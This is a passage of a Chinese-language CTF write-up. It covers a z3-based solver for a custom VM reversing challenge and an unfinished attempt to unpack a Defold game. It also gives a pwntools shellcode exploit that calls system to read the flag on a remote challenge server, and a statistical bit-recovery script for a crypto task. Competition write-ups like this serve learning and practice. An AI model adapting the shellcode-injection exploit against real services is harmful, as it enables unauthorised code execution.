buffer = [0]*0x400 # buffer开头存有输入
for i in range(len(flag)): buffer[i] = flag[i]
for i in range(len(enc)): buffer[0x210+i] = enc[i]

PC = 0
# ZF -> v136[24]
# CF -> v136[25]
ZF,CF = False,False

solver = z3.Solver()

while PC < len(opcode):
mask = (1<<64)-1
match opcode[PC]:
case 0x00:
break
case 0x01:
op0,op1 = opcode[PC+1]&0x0F,unpack("<Q",opcode[PC+2:PC+2+8])[0]
stack[op0] = op1
#logging.debug(f"[{PC:04x}] stack[{op0}] = 0x{op1:016x};")
PC += 10
case 0x02:
op0,op1 = opcode[PC+1]&0x0F,unpack("<H",opcode[PC+2:PC+2+2])[0]
stack[op0] = z3.ZeroExt(56,buffer[op1])
#logging.debug(f"[{PC:04x}] stack[{op0}] = buffer[0x{op1:04x}];\t// 0x{buffer[op1]:02x}")
PC += 4
case 0x03:
op0,op1 = unpack("<H",opcode[PC+1:PC+1+2])[0],opcode[PC+3]&0x0F
buffer[op0] = z3.Extract(7,0,stack[op1])
#logging.debug(f"[{PC:04x}] buffer[0x{op0:04x}] = stack[{op1}];\t// 0x{stack[op1]:02x}")
PC += 4
case 0x05:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]&0x0F
num1,num2 = stack[op1],stack[op2]
num0 = (num1+num2)&mask
stack[op0] = num0
#CF = num1 + num2 > mask
#ZF = num0 == 0
#logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}]+stack[{op2}];\t// 0x{num1:016x} + 0x{num2:016x} = 0x{num0:016x} CF:{CF} ZF:{ZF}")
PC += 4
case 0x07:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]&0x0F
num1,num2 = stack[op1],stack[op2]
num0 = (num1*num2)&mask
stack[op0] = num0
#ZF = num0 == 0
#logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}]*stack[{op2}];\t// 0x{num1:016x} * 0x{num2:016x} = 0x{num0:016x} ZF:{ZF}")
PC += 4
case 0x0A:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]&0x0F
num1,num2 = stack[op1],stack[op2]
num0 = (num1^num2)&mask
stack[op0] = num0
#ZF = num0 == 0
#logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}]^stack[{op2}];\t// 0x{num1:016x} ^ 0x{num2:016x} = 0x{num0:016x} ZF:{ZF}")
PC += 4
case 0x0F:
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]
num1 = stack[op1]
num0 = (num1 >> op2)&mask
stack[op0] = num0
#logging.debug(f"[{PC:04x}] stack[{op0}] = stack[{op1}] >> {op2};\t// 0x{num1:016x} >> 0x{op2:02x} = 0x{num0:016x}")
PC += 4
case 0x10:
op0,op1 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F
num1,num2 = stack[op0],stack[op1]
ZF = num1 == num2
CF = num1 < num2
#logging.debug(f"[{PC:04x}] cmp(stack[{op0}],stack[{op1}]);\t// cmp(0x{num1:016x},0x{num2:016x}) ZF:{ZF} CF:{CF}")
PC += 3
case 0x13:
op0 = unpack("<H",opcode[PC+1:PC+1+2])[0]
if PC == 0x0923:
solver.add(ZF == True)
PC += 3
continue
if ZF: PC += 3
else :PC = op0
if PC > len(opcode):break
#logging.debug(f"[{PC:04x}] if(!ZF) goto 0x{op0:04x};")
case 0x14:
op0,op1 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F
num1 = stack[op1]
num0 = rand_array[num1]
stack[op0] = z3.ZeroExt(56,num0)
#ZF = num0 == 0
#logging.debug(f"[{PC:04x}] stack[{op0}] = rand_array[stack[{op1}]];\t// rand_array[0x{num1:02x}] = 0x{num0:02x} ZF:{ZF}")
PC += 3
case 0x15:
rol = lambda num,bits:((num<<bits) | (num>>(64-bits)))&mask
op0,op1,op2 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F,opcode[PC+3]
num1 = stack[op1]
num0 = rol(num1,op2)
stack[op0] = num0
#ZF = num0 == 0
#logging.debug(f"[{PC:04x}] stack[{op0}] = rol(stack[{op1}],{op2});\t// rol(0x{num1:016x},0x{op2:02x}) = 0x{num0:016x} ZF:{ZF}")
PC += 4
case 0x17:
op0,op1 = opcode[PC+1]&0x0F,opcode[PC+2]&0x0F
num1 = stack[op1]
num0 = buffer[num1]
if isinstance(num0,z3.BitVecRef):num0 = z3.ZeroExt(56,num0)
stack[op0] = num0
#logging.debug(f"[{PC:04x}] stack[{op0}] = buffer[stack[{op1}]];\t// buffer[0x{num1:04x}] = 0x{num0:02x}")
PC += 3
case 0xFF:
break
case default:
raise NotImplementedError(f"Unkonwn opcode 0x{default:02X}")

result = solver.check()
result = solver.model()
print([result[i] for i in flag])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
uint64_t seed = 0x123456789abcdef0;
BYTE enc[] = {0xB6, 0x82, 0x1A, 0x15, 0xF5, 0x32, 0x5A, 0xFC, 0xF, 0x11, 0xEA, 0x89, 0x32, 0x38, 0xC3, 0x55};
BYTE input[] = {/* unknown */};
BYTE output[0x10] = {0};
for(int i=0;i<0x20;i++){
BYTE chr = input[i];
seed = rol((chr+0x01)*seed,7)^0xdeadbeefcafebabe;
seed = seed+rand_array[chr+i];
if(i%4==0)output[i/4]=(BYTE)seed;
}
for(int i=8;i<0x10;i++){
seed = seed*0x00000005deece66d+0x0b;
output[i] = seed >> 24;
}
for(int i=0;i<0x10;i++){
if(output[i] != enc[i]) goto error;
}
success = 0x01;

2.11. d4yDAY_UP

通过搜索dynamo可以得知这是用defold开发的游戏。

在资源节能看到该题目的资源文件。

在网上搜一圈没找到能用的解包程序,有个arcdEx能解包游戏manifest为4的打包文件,然而这个游戏的manifest版本号已经到5了。

好在游戏引擎代码开源,把arcdEx项目改改还能用。

修改后的项目地址:https://github.com/jht3QAQ/arcdEx

但是不知道为啥这个版本提取出来文件名字段为空,所以只能把偏移当文件名了。

再用java -jar .\arcdEx-1.0-SNAPSHOT-jar-with-dependencies.jar lua指令可以提取出来LuaJIT数据。

但是LuaJIT不会逆,所以也就止步于此了。

3. PWN

3.1. 什么?我不是汇编高手吗?

让写长度至多不超过四字节的汇编代码,慢慢磨就行了。

看题目给了shellcode的地址,可以用来二次读数据,但是因为题目还直接给了system和cat flag的地址,所以没用上。

写shellcode的时候注意下内存对齐就行了,其实最后应该assert一下shellcode中有没有换行符,不过从结果上来看好像没问题,忘了就忘了吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

#sh = process('./challenge')
sh = remote('nc1.ctfplus.cn',13384)
shellcode_base = eval(sh.recvline())
print(f'shellcode_base {hex(shellcode_base)}')
input('waiting...')

def push_imm(n64):
n64 = p64(n64)
payload = b''
payload += b'\x01\x00\x00\x00' + b'\x90\x48\x31\xC0'
for i in range(0,8):
payload += b'\x01\x00\x00\x00'
payload += b'\xB0'+bytes([n64[i]])+b'\x50\x90'
payload += b'\x01\x00\x00\x00' + b'\x90\x48\x31\xC0'
for i in range(8):
payload += b'\x01\x00\x00\x00' + b'\x48\xC1\xE0\x08'
payload += b'\x01\x00\x00\x00' + b'\x5B\x48\x09\xD8'
payload += b'\x01\x00\x00\x00' + b'\x50\x90\x90\x90'
return payload

payload = b''
payload += push_imm(0x4010C0)
payload += push_imm(0x402004)
payload += b'\x01\x00\x00\x00' + b'\x5F\x58\x50\x90'
payload += b'\x01\x00\x00\x00' + b'\xFF\xD0\x90\x90'
payload += push_imm(0x401110)
payload += b'\x01\x00\x00\x00' + b'\x90\x58\xFF\xD0'
sh.sendline(payload)

sh.interactive()

4. Crypto

4.1. Subgroup-Weaver

在生成异或值的过程中1总是比0概率大,因此输出的值总是与真正flag按位取反,因此只要基数大就能通过统计输出值的每位bit数量,取反后得到结果。

脚本远程大概得跑个一分钟左右才能得到结果,本地跑的话瞬间就能跑完。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from Crypto.Util.number import bytes_to_long,long_to_bytes

context.log_level = 'debug'

#sh = process(['python','./task.py'])
sh = remote('nc1.ctfplus.cn',11559)

if isinstance(sh,process): print(sh.recvline().decode())

ans = [0]*64*8

while True:
sh.recvuntil(b"> ")
_ans = sum((1<<i)*(1 if ans[i] > 0 else 0) for i in range(64*8))
sh.sendline(long_to_bytes(_ans).hex().encode())
hint = sh.recvline().decode()
if 'prize' in hint:
print(hint)
break
hint = int(hint)
for i in range(64*8):ans[i] += -1 if (1<<i)&hint else 1

sh.interactive()